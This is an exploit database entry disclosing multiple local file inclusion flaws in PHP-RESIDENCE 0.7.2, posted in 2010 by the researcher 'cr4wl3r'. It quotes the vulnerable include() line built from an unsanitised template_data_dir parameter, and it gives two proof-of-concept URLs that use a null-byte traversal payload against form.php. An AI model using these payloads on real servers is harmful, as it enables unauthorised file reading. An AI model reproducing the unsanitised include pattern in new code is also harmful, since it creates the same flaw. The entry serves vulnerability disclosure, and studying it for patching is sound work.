PHP-RESIDENCE 0.7.2 - Multiple Local File Inclusions

2010-01-16T00:00:00
ID EXPLOITPACK:45E8940B1F9C993864476FA3703E345B
Type exploitpack
Reporter cr4wl3r
Modified 2010-01-16T00:00:00

Description

PHP-RESIDENCE 0.7.2 - Multiple Local File Inclusions

                                        
                                                                        \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   | PHP-RESIDENCE <= 0.7.2 Multiple LFI Vulnerability  |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Download: http://www.digitaldruid.net/download/php-residence_0.7.2.zip
[!] Date: 30.12.2009
[!] Remote: yes

[!] Code :

    include("./includes/templates/$template_data_dir/phrases.php");

[!] PoC:

    [PHP-RESIDENCE_path]/includes/templates/cal/form.php?template_data_dir=[LFI%00]




[!] Code :

    include("./includes/templates/$template_data_dir/phrases.php");

[!] PoC:

    [PHP-RESIDENCE_path]/includes/templates/rat/form.php?template_data_dir=[LFI%00]